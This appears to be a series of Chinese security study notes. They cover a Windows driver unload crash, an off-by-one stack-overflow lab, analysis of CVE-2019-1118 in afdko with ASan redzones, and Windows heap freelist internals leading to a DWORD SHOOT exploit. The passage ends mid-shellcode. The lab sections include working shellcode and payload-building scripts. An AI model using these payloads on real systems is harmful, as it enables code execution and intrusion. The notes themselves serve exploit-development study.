#define INITCODE code_seg("INIT")
#define PAGEDDATA data_seg("PAGE")
#define LOCKEDDATA data_seg()
#define INITDATA data_seg("INIT")
#pragma INITCODE
NTSTATUS CreateDevice(
IN PDRIVER_OBJECT pDriverObject)
{
// PAGED_CODE();
NTSTATUS status;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
UNICODE_STRING devName;
RtlInitUnicodeString(&devName, L"\\Device\\MyDDKDevice");
status = IoCreateDevice(pDriverObject,
sizeof(DEVICE_EXTENSION),
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&pDevObj);
if (!NT_SUCCESS(status))
{
DbgPrint("CreateDevice Error...\n");
return status;
}
pDevObj->Flags |= DO_BUFFERED_IO;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->pDevice = pDevObj;
pDevExt->ustrDeviceName = devName;
UNICODE_STRING symLinkName;
RtlInitUnicodeString(&symLinkName, DOS_DEVICE_NAME);
pDevExt->ustrSymLinkName = symLinkName;
status = IoCreateSymbolicLink(&symLinkName, &devName);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(pDevObj);
DbgPrint("Create SymbolicLink Error...\n");
return status;
}
DbgPrint("CreateDevice successfully...\n");
return STATUS_SUCCESS;
}
#pragma PAGEDCODE
VOID NTDDKUnload(IN PDRIVER_OBJECT pDriverObject)
{
NTSTATUS status;
PDEVICE_OBJECT pNextObj;
DbgPrint(("Enter DriverUnload\n"));
pNextObj = pDriverObject->DeviceObject;
UNICODE_STRING pLinkName;
while (pNextObj != NULL)
{
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)pNextObj->DeviceExtension;
DbgPrint("ustrSymLinkName: %wZ\n", pDevExt->ustrSymLinkName);
pLinkName = pDevExt->ustrSymLinkName;
DbgPrint("Start delete symlinkname %wZ by pLinkName...\n", pLinkName);
DbgPrint("Start delete symlinkname %wZ by ustrSymLinkName...\n", pDevExt->ustrSymLinkName);
status = IoDeleteSymbolicLink(&pLinkName);
// status = IoDeleteSymbolicLink(&(pDevExt->ustrSymLinkName));
if (!NT_SUCCESS(status))
{
DbgPrint("Delete SymbolLink Error\n");
goto finish;
}
pNextObj = pNextObj->NextDevice;
IoDeleteDevice(pDevExt->pDevice);
}
finish:
DbgPrint("Leave DriverUnload\n");
}
这么写卸载设备的代码会出现蓝屏,具体错误
可以看到在调用IoDeleteSymbolicLink(&pLinkName)
出错了。
现在设置一个断点,在未发生异常前断下来
继续执行
可以看到edi
存放的是DEVICE_OBJECT
结构,ebx
存放的是DEVICE_EXTENSION
结构,现在来看看UNICODE_STRING
中的数据
可以发现这块内存中的数据是无法访问的,如果用这里的数据去删除符号链接肯定会出错的。
经过不断的查询资料和stackoverflow上提问得知是CreateDevice
函数的问题。该函数的内存属性为PAGEDCODE
,在调用完之后就会被释放
/*
* These compiler directives tell the Operating System how to load the
* driver into memory. The "INIT" section is discardable as you only
* need the driver entry upon initialization, then it can be discarded.
*
*/
所以为了解决这个问题,代码这么设置
#pragma PAGECODE
NTSTATUS CreateDevice(
IN PDRIVER_OBJECT pDriverObject)
{
// PAGED_CODE();
NTSTATUS status;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
UNICODE_STRING devName;
RtlInitUnicodeString(&devName, L"\\Device\\MyDDKDevice");
status = IoCreateDevice(pDriverObject,
sizeof(DEVICE_EXTENSION),
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&pDevObj);
if (!NT_SUCCESS(status))
{
DbgPrint("CreateDevice Error...\n");
return status;
}
pDevObj->Flags |= DO_BUFFERED_IO;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->pDevice = pDevObj;
pDevExt->ustrDeviceName = devName;
UNICODE_STRING symLinkName;
RtlInitUnicodeString(&symLinkName, DOS_DEVICE_NAME);
pDevExt->ustrSymLinkName = symLinkName;
status = IoCreateSymbolicLink(&symLinkName, &devName);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(pDevObj);
DbgPrint("Create SymbolicLink Error...\n");
return status;
}
DbgPrint("CreateDevice successfully...\n");
return STATUS_SUCCESS;
}
#pragma PAGEDCODE
VOID NTDDKUnload(IN PDRIVER_OBJECT pDriverObject)
{
NTSTATUS status;
PDEVICE_OBJECT pNextObj;
DbgPrint(("Enter DriverUnload\n"));
pNextObj = pDriverObject->DeviceObject;
UNICODE_STRING pLinkName;
while (pNextObj != NULL)
{
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)pNextObj->DeviceExtension;
pLinkName = pDevExt->ustrSymLinkName;
DbgPrint("Start delete symlinkname %wZ by pLinkName...\n", &pLinkName);
DbgPrint("Start delete symlinkname %wZ by ustrSymLinkName...\n", &pDevExt->ustrSymLinkName);
status = IoDeleteSymbolicLink(&pLinkName);
// status = IoDeleteSymbolicLink(&(pDevExt->ustrSymLinkName));
if (!NT_SUCCESS(status))
{
DbgPrint("Delete SymbolLink Error\n");
goto finish;
}
pNextObj = pNextObj->NextDevice;
IoDeleteDevice(pDevExt->pDevice);
}
finish:
DbgPrint("Leave DriverUnload\n");
}
全部设置成PAGEDCODE
正常执行
从理论上去考虑off by one比较难理解,解释多了越解释越糊涂,因为我搜了好几篇文章都没有搞明白,所以直接跟着做实验,看到效果之后再来理解原理,会好理解很多!
实验环境:docker ubuntu:16.04,代码vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}
docker运行时记得添加--privileged=true
第一步关闭地址随机化,开启core转储
echo 0 > /proc/sys/kernel/randomize_va_space
ulimit -c unlimited
sh -c 'echo "/tmp/core" > /proc/sys/kernel/core_pattern'
因为我的是64位内核,所以默认拉取的是64位的docker镜像,所以编译这么写
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 -o vuln vuln.c
其中-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。
根据代码生成测试字符串,确定eip的偏移位置。
#encoding: utf-8
import os
print "exec start..."
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
os.system("./vuln " + payload)
print "exec done..."
运行一下,生成转储文件
利用pwndbg打开/tmp/core转储文件
eip转化为字符串或者使用我写的程序直接搜索
encoding:utf-8
import sys
from pwnlib.util.cyclic import cyclic, cyclic_find
def usage():
print """
====================================================
[*] python genseq.py s/g arg"
example:
generate: python genseq.py g 1000
search: python genseq.py s abcd
====================================================
"""
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
sys.exit(1)
op = sys.argv[1]
try:
if op == 'g':
gen_len = sys.argv[2]
print cyclic(int(gen_len))
elif op == 's':
search_ch = sys.argv[2]
if len(sys.argv[2]) > 4:
hex_ch = search_ch.decode('hex')[::-1]
print hex_ch
print cyclic_find(hex_ch)
else:
print cyclic_find(search_ch)
except Exception as ex:
print ex
usage()
结果
➜ test python genseq.py s 61616172
raaa
68
利用peda生成的shellcode,构造一个payload
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
测试代码
#encoding:utf-8
from pwn import *
from subprocess import call
ret_addr = p32(0xffffd508)
nop1 = '\x90' * 68
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
length = len(nop1 + ret_addr + shellcode)
nop2 = '\x90' * (256 - length)
payload = nop1 + ret_addr + shellcode + nop2
print "exec start..."
call(['./vuln', payload)
print "exec done..."
效果(不知道为什么无法显示命令字符串,只有结果,难道是因为docker的锅?),执行了whoami
和cat /etc/issue
成功命令执行,现在来好好理解一下这个原理!
原理就是栈溢出,导致命令执行。现在来根据vuln.c
代码一点一点看。
程序整体的流程是这样的
main---> foo ---> bar --->strcpy
strcpy会将vuln的参数复制到buf所在内存中。
如果参数大于256,会直接退出执行;如果小于256,buf空间足够;问题出在正好是256上,就一个字节之差!造成off by one的原因就是这一个字节,因为256个字节的话,刚好放在buf空间上,但是strcpy最后会放置一个空字符在buf的最后,但是buf已经没有空间了,那只能溢出下一个字节的最后一个字节。形象一点应该是这样的
+------+
| | ret_addr
+------+
|xxxx00| ebp
+------+
| buf |
+------+
| buf |
+------+
| .... |
+------+
真正的调试一下看看是不是这样的
直接利用pwndbg调试,eip的偏移量会比在代码中运行要多,具体原因我也没找到。。。
strcpy之前设置断点
因为没有栈检查,栈中空间都存储的局部变量,局部变量如果溢出那么最开始影响的就是ebp的数据
注意ebp的地址和值,next下一步
ebp末尾一个字节变为0,产生了off by one溢出。接着执行到leave
leave指令相当于
leave => mov esp, ebp ;把ebp赋给esp
pop ebp ;弹出栈顶元素给ebp
转变一下
mov eap, ebp => esp=0xfffd550
pop ebp => ebp=(esp)=0xffffd500 esp=esp+4=0xffd554
调试验证
ret相当于pop eip
,栈顶中的元素为0x80484a6
,也就是foo+11
,要跳转到foo函数中执行,执行到这里我们可以发现,off by one并没有直接改变最近的跳转eip,而是在接下来中的操作改变的。
接着执行到foo中的leave
同样的
mov eap, ebp => esp=0xfffd500
pop ebp => ebp=(esp)=0x62616174 esp=esp+4=0xffd504
验证一下
ret会影响eip的值了!eip变为了0x62616175
到这里off by one形成的原因也就找到了!也可以通过改变eip的值达到任意代码执行了。
payload构造主要就2点
格式: nops1 + ret_addr + shellcode + nops2
+---------+
| |
+---------+
| |
+---------+
| | shellcode <----------+
+---------+ |
| | |
+---------+ |
| | |
+---------+ |
| | eip 跳转到shellcode---+
+---------+
| |
+---------+
| |
+---------+
eip我们通过上面的分析知道,可以通过字符串复制去覆盖。只要找到偏移量即可。上面实验已经找到了!
现在需要确定ret_addr,利用ret_addr去覆盖eip就可以实现跳转。我们通过上面的分析,最后异常的部分,ret => pop eip
弹出了esp栈顶元素,esp=esp+4。
esp上的数据都是复制的来的,并且位置固定。所以只要使用esp的地址即可。之后紧跟着shellcode,不满足256长度的部分,依旧使用\x90
填充。具体构造上面已经给出了,不再赘述。
这篇来分析一下CVE-2019-1118
,问题为stack corruption in OpenType font handling due to negative cubeStackDepth
搭建环境,简单复现一下
git clone https://github.com/adobe-type-tools/afdko
cd afdko
git checkout 2.8.8
cd c
bash buildalllinux.sh debug
根据给出的poc
测试
可以发现,出错了,但是被afdko
捕获了。
这样的话,在重点位置设一下断点,再来看一下
首先测试一下do_blend_cube.otf
pwndbg> b t2cstr.c:1057
Breakpoint 1 at 0x466af2: file ../../../../../source/t2cstr/t2cstr.c, line 1057.
pwndbg> run -cff do_blend_cube.otf
看一下效果
结合着反汇编代码看,效果可能更好
.text:0000000000466AF2 mov esi, [rbp+nBlends]
.text:0000000000466AF5 mov rdi, [rbp+h]
.text:0000000000466AF9 add rdi, 32D60h
.text:0000000000466B00 mov rax, [rbp+h] ; h
.text:0000000000466B04 movsxd rax, dword ptr [rax+32D44h]; 取得索引
.text:0000000000466B0B imul rax, 1920h; cube大小
.text:0000000000466B12 add rdi, rax
.text:0000000000466B15 imul esi, [rdi+10h]
.text:0000000000466B19 mov [rbp+nElements], esi
可以发现h->cube
数组取值是通过乘法实现的,当索引为-1
即h->cubeStackDepth==-1
时,
imul rax, 1920h ==> imul 0xffffffff, 1920h
cube数组每项的大小:sizeof(h->cube[0]) == 0x1920
再变换一下
((struct cube)h->cube)-1
相当于h->cube
指针向前移动了一个数组值,即0x1920
个字节
再来看看struct _t2cCtx
的大小
向前移动了,但是((struct cube)h->cube)-1
的位置还是在_t2cCtx
结构体中,验证一下
继续单步执行到这,索引值得出
继续si
此时
可以发现0x9d3f8 > 0x31880
,验证也确实还在结构体中。
这样的话,即使是h->cubeStackDepth==-1
也不会导致内存访问出错,最多也就是分析错误,被afkdo
捕获也就不奇怪了。我们的结果也确实是这样
但是PJ0
给的例子中,存在了一个叫做redzone patch
的操作,打完patch
之后会出现user-after-poison
的错误。
就像这样
==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8
READ of size 4 at 0x7ffea1a88890 thread T0
#0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58
#1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38
#2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
#3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
#4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
#5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
#6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#10 0x7fa93072e2b0 in __libc_start_main
#11 0x41e5b9 in _start
如果我们想这样的话,该怎么做呢?
很遗憾,关于手动设置redzone
的资料特别少,中文基本上就是纯空白了。而且我发现,基本上这个方法就是PJ0
自己成员在用,其他人很少有使用过的。
为了实现这个功能,我把sanitizer
的实现资料和相关redzone
的源码全部简单过了一遍,最后弄懂了redzone
的相关定义和用法,这部分想要了解的话,自己查资料吧,内容比较多,可以重点看一下PJ0
介绍sanitizer
的几个paper
。
最后在sanitizer/asan_interface.h
中看到了这部分代码
//===-- sanitizer/asan_interface.h ------------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file is a part of AddressSanitizer (ASan).
//
// Public interface header.
//===----------------------------------------------------------------------===//
#ifndef SANITIZER_ASAN_INTERFACE_H
#define SANITIZER_ASAN_INTERFACE_H
#include <sanitizer/common_interface_defs.h>
#ifdef __cplusplus
extern "C" {
#endif
/// Marks a memory region (<c>[addr, addr+size)</c>) as unaddressable.
///
/// This memory must be previously allocated by your program. Instrumented
/// code is forbidden from accessing addresses in this region until it is
/// unpoisoned. This function is not guaranteed to poison the entire region -
/// it could poison only a subregion of <c>[addr, addr+size)</c> due to ASan
/// alignment restrictions.
///
/// \note This function is not thread-safe because no two threads can poison or
/// unpoison memory in the same memory region simultaneously.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
void __asan_poison_memory_region(void const volatile *addr, size_t size);
/// Marks a memory region (<c>[addr, addr+size)</c>) as addressable.
///
/// This memory must be previously allocated by your program. Accessing
/// addresses in this region is allowed until this region is poisoned again.
/// This function could unpoison a super-region of <c>[addr, addr+size)</c> due
/// to ASan alignment restrictions.
///
/// \note This function is not thread-safe because no two threads can
/// poison or unpoison memory in the same memory region simultaneously.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
void __asan_unpoison_memory_region(void const volatile *addr, size_t size);
// Macros provided for convenience.
#if __has_feature(address_sanitizer) || defined(__SANITIZE_ADDRESS__)
/// Marks a memory region as unaddressable.
///
/// \note Macro provided for convenience; defined as a no-op if ASan is not
/// enabled.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
#define ASAN_POISON_MEMORY_REGION(addr, size) \
__asan_poison_memory_region((addr), (size))
/// Marks a memory region as addressable.
///
/// \note Macro provided for convenience; defined as a no-op if ASan is not
/// enabled.
///
/// \param addr Start of memory region.
/// \param size Size of memory region.
#define ASAN_UNPOISON_MEMORY_REGION(addr, size) \
__asan_unpoison_memory_region((addr), (size))
#else
#define ASAN_POISON_MEMORY_REGION(addr, size) \
((void)(addr), (void)(size))
#define ASAN_UNPOISON_MEMORY_REGION(addr, size) \
((void)(addr), (void)(size))
#endif
宏定义ASAN_UNPOISON_MEMORY_REGION
指向__asan_poison_memory_region
,利用这个函数可以设置redzone
,之后利用__asan_unpoison_memory_region
解除设置
方法找到了,那就来看具体代码,设置redzone
,在do_blend_cube
函数中
/* Execute "blend" op. Return 0 on success else error code. */
static int do_blend_cube(t2cCtx h, int nBlends) {
int i;
__asan_poison_memory_region(h->cube-1, sizeof(struct _t2cCtx)); // 设置redzone
int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
int iBase = h->stack.cnt - nElements;
int k = iBase + nBlends;
if (h->cube[h->cubeStackDepth].nMasters <= 1)
return t2cErrInvalidWV;
CHKUFLOW(h, nElements);
if (h->flags & FLATTEN_CUBE) {
for (i = 0; i < nBlends; i++) {
int j;
double x = INDEX(iBase + i);
for (j = 1; j < h->cube[h->cubeStackDepth].nMasters; j++)
x += INDEX(k++) * h->cube[h->cubeStackDepth].WV[j];
INDEX(iBase + i) = (float)x;
}
} else {
float blendVals[kMaxCubeMasters * kMaxBlendOps];
for (i = 0; i < nElements; i++) {
blendVals[i] = INDEX(iBase + i);
}
callback_blend_cube(h, nBlends, nElements, blendVals);
}
h->stack.cnt = iBase + nBlends;
__asan_unpoison_memory_region(h->cube-1, sizeof(struct _t2cCtx)); // 解除redzone
return 0;
}
这里有一点需要注意,poison
的size
一定要设置的够大,否则会没有poison
的效果,我这里是取_t2cCtx
结构体的大小,这样就保证了怎么移动我们都能检测到
来看一下效果
还是这么写main
函数
/* Main program. */
int CTL_CDECL main(int argc, char *argv[]) {
txCtx h;
char *progname;
/* Get program name */
progname = tail(argv[0]);
--argc;
++argv;
/* Allocate program context */
h = malloc(sizeof(struct txCtx_));
if (h == NULL) {
fprintf(stderr, "%s: out of memory\n", progname);
return EXIT_FAILURE;
}
memset(h, 0, sizeof(struct txCtx_));
h->app = APP_TX;
h->appSpecificInfo = NULL; /* unused in tx.c, used in rotateFont.c & mergeFonts.c */
h->appSpecificFree = txFree;
txNew(h, progname);
h->t1r.flags = 0; /* I initialize these here,as I need to set the std Encoding flags before calling setMode. */
h->cfr.flags = 0;
h->cfw.flags = 0;
h->dcf.flags = DCF_AllTables | DCF_BreakFlowed;
h->dcf.level = 5;
h->svr.flags = 0;
h->ufr.flags = 0;
h->ufow.flags = 0;
h->t1w.options = 0;
// 设置cff模式
setMode(h, mode_cff);
// argv[1] 文件名,对应上面argv--
doSingleFileSet(h, argv[0]);
if (h->failmem.iFail == FAIL_REPORT) {
fflush(stdout);
fprintf(stderr, "mem_manage() called %ld times in this run.\n",
h->failmem.iCall);
}
txFree(h);
return 0;
}
出现异常利用上面的测试一下即可。
fuzz
代码我公开了,测出有效洞可得找我哈 : )
还不会的话,只能看我的具体项目了,一起学习fuzz
哈
这个漏洞开始redzone patch
的检测,我自己不会写,花了很长时间后来慢慢摸索出来了,就自己写了一个
后来我又给这个漏洞的发现者j00ru发了邮件,向他要了他的redzone patch
,他很爽快的答应了,并将代码以附件的形式发给我了。
这里我们来分析一下(比我的redzone
检测不知道要高到哪里去了)
代码所有权限属于j00ru,我仅用于学习使用
能有机会看到这么有实际作用的redzone
检测代码,且看且珍惜
首先来看一下结构体的几处更改
第一处
接下来的几处
可以发现,在这个最重要的结构体里基本所有的数组都做了redzone
标记,这样也就基本保证了这个结构体里的数组指针,在发生越界操作时,
大概率会操作redzone
的数据,从而被捕获到。
再来看一下poison
static void PoisonArrays(t2cCtx h) {
int i;
ASAN_POISON_MEMORY_REGION(&h->stack.pre_array, sizeof(h->stack.pre_array));
ASAN_POISON_MEMORY_REGION(&h->stack.pre_blendArray, sizeof(h->stack.pre_blendArray));
ASAN_POISON_MEMORY_REGION(&h->stack.pre_blendArgs, sizeof(h->stack.pre_blendArgs));
ASAN_POISON_MEMORY_REGION(&h->pre_BCA, sizeof(h->pre_BCA));
ASAN_POISON_MEMORY_REGION(&h->pre_cube, sizeof(h->pre_cube));
ASAN_POISON_MEMORY_REGION(&h->stems.pre_array, sizeof(h->stems.pre_array));
ASAN_POISON_MEMORY_REGION(&h->mask.pre_bytes, sizeof(h->mask.pre_bytes));
ASAN_POISON_MEMORY_REGION(&h->pre_regionIndices, sizeof(h->pre_regionIndices));
ASAN_POISON_MEMORY_REGION(&h->stack.post_array, sizeof(h->stack.post_array));
ASAN_POISON_MEMORY_REGION(&h->stack.post_blendArray, sizeof(h->stack.post_blendArray));
ASAN_POISON_MEMORY_REGION(&h->stack.post_blendArgs, sizeof(h->stack.post_blendArgs));
ASAN_POISON_MEMORY_REGION(&h->post_BCA, sizeof(h->post_BCA));
ASAN_POISON_MEMORY_REGION(&h->post_cube, sizeof(h->post_cube));
ASAN_POISON_MEMORY_REGION(&h->stems.post_array, sizeof(h->stems.post_array));
ASAN_POISON_MEMORY_REGION(&h->mask.post_bytes, sizeof(h->mask.post_bytes));
ASAN_POISON_MEMORY_REGION(&h->post_regionIndices, sizeof(h->post_regionIndices));
for (i = 0; i < CUBE_LE_STACKDEPTH; i++) {
ASAN_POISON_MEMORY_REGION(&h->cube[i].pre_composeOpArray, sizeof(h->cube[i].pre_composeOpArray));
ASAN_POISON_MEMORY_REGION(&h->cube[i].pre_WV, sizeof(h->cube[i].pre_WV));
ASAN_POISON_MEMORY_REGION(&h->cube[i].post_composeOpArray, sizeof(h->cube[i].post_composeOpArray));
ASAN_POISON_MEMORY_REGION(&h->cube[i].post_WV, sizeof(h->cube[i].post_WV));
}
}
具体详细的patch
代码,自己琢磨吧,这种redzone patch
的方式,记住,分析crashes
肯定用得上!
堆和栈的结构差异很大,堆的分配以块为单位,分为块首和块身,对堆操作使用的指针一般指向块身起始位置。堆块和堆表组成一个堆,不同类型的堆表将堆在逻辑上分为不同的部分,重要的堆表(只索引空闲堆块)有两种:空表(freelist)和快表(lookaside)。
占用态堆块结构
空闲态堆块
可以看出空闲状态下是有前后块指针的,占用态没有
由空闲堆块组成的双向链表,空表总共有128条,具体结构如下图
空表连接的都是空闲堆块,某个块被分配使用时,空表就会将该块从表中摘除,当被释放后,又会再次连接到空表上
通过0day中给出的代码进行一段测试,测试代码:
#include <windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]
return 0;
}
按照0day书上的环境,并设置好后,od成功拦截
分配的堆的首地址0x00310000
,其中位移0x178
处指向分配的空表的尾块0x0688
,再看0x688
处的数据
其中0x688
指的是其数据部分,它的块首是向前8个字节0x680
,根据其c源码,每个HeapAlloc
分配的空间如下
根据空表的分配规则,以及上节中得出的每个块应该分配的大小,可以得出如下的分配地址列表
H1
H2
H3
H5
可以发现每一步跟我们根据规则画出来的分配都是相同的
第一步,释放H1,空闲空间是8bytes,所以其释放完后应该挂在free[1]上
未释放前free[1]
应该是这样的
+------+------+------+
| | 0188 | 0188 |
+------+------+------+
验证一下
Free,根据规则应该是这样的
0188
+------+------+------+
| | 0xxx | 0688 |<----+
+------+------+------+ |
|
0688 |
+------+------+------+ |
| | 0188 | 0188 |-----+
+------+------+------+
free1的后指针指向0x688这个堆块,堆块的前后指针均指向0188,验证一下
释放H3
0188
+------+------+------+
| | 0xxx | 0688 |<----+
+------+------+------+ |
0688 |
+------+------+------+ |
| | 0188 | 06A8 |<----+
+------+------+------+ |
06A8 |
+------+------+------+ |
| | 0688 | 0188 |-----+
+------+------+------+
free[1]后挂了两块不连续的空闲块!验证一下
释放H5
根据规则,我们可以得出
01A8
+------+------+------+
| | 0xxx | 06C8 |<----+
+------+------+------+ |
|
06C8 |
+------+------+------+ |
| | 01A8 | 01A8 |-----+
+------+------+------+
按照0day书中所说,
0178 -> free[0] 跟着大块
0188 -> free[1] 跟着8bytes
0198 -> free[2] 跟着16bytes
01A8 -> free[3] 跟着24bytes
01B8 -> free[4] 跟着32bytes
但是这里却不是01A8
,而是0198
,没有弄明白是为什么。。。。。
释放H4
因为H3,H4,H5是连在一起的,所以需要合并,合并的总空间是32个空闲字节,所以应该挂在01B8
即free[4]上
01A8
+------+------+------+
| | 0xxx | 06A8 |<----+
+------+------+------+ |
|
06A8 |
+------+------+------+ |
| | 01B8 | 01B8 |-----+
+------+------+------+
验证一下
空表的分配,释放和合并分析完毕!
根据0day书中的描述,开始时快表是空的,堆管理器首先从空表上分配给HeapAlloc
,等到HeapFree
释放空间再将其链入快表中。利用如下代码进行测试
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}
查看一下偏移位置0x178
可以看到已经不是0x00310688
了,变为了0x00311E90
,再来看看0x688
处的快表,根据0day书中所说lookaside从0x6B8
开始,每48个字节算一个lookaside
首项,现在lookaside[1]
等都是0
往下依次类推。等到第一次HeapFree
之后再看
已经得到了分配后释放的堆块,并且链入了快表,再看释放4次之后
可以看到0x6E8
处的值,经过4次释放变为00311EA0
,再看一下00311EA0
其指向了第一次释放的位置,由此可知后释放的空间会插入先前插入的位置的前面。再次分配会优先分配快表
分配16
字节之后,lookaside[2]
不再有空间。快表的分配,释放分析结束
空表由双向链表构成,双向链表在拆卸的过程中会发生如下的操作
int remove (ListNode *node)
{
node->blink->flink = node->flink;
node->flink->blink = node->blink;
return 0;
}
具体的操作可以参照0day中的图,如下
其实总结起来就是[blink]=flink数据
测试代码
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
int main()
{
HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
__asm int 3;
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
根据DWORD SHOOT
的定义,我们人为的构造一下,将8888888
写入地址00000022
,
产生错误
可以看出是前向指针中的数据写入了后向指针中所表示的地址。
这里主要依据的就是windows为了同步进程中的多个线程,使用了一些同步措施,如锁机制,信号量等,当进程退出时,ExitProcess
函数需要做很多的工作,其中就会用到RtlEnterCriticalSection
和RtlLeaveCriticalSection
,指向前一个函数的指针存放在0x7FFDF020
,即进程退出时会到这个地址取出RtlEnterCriticalSection
函数的指针,并执行该函数,所以我们需要利用堆溢出中的DWORD SHOOT
技术将shellcode
的地址写入0x7FFDF020
中。
找到RtlEnterCriticalSection
函数地址
地址为0x77F82060
,再确定shellcode
的地址,具体测试代码如下
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x20\xf0\xfd\x7f"
"\xbb\x60\x20\xf8\x77" // RtlEnterCriticalSection的地址0x77f86020通过调试得到, 用来使shellcode调用ExitProcess时不产生异常
"\x89\x18"
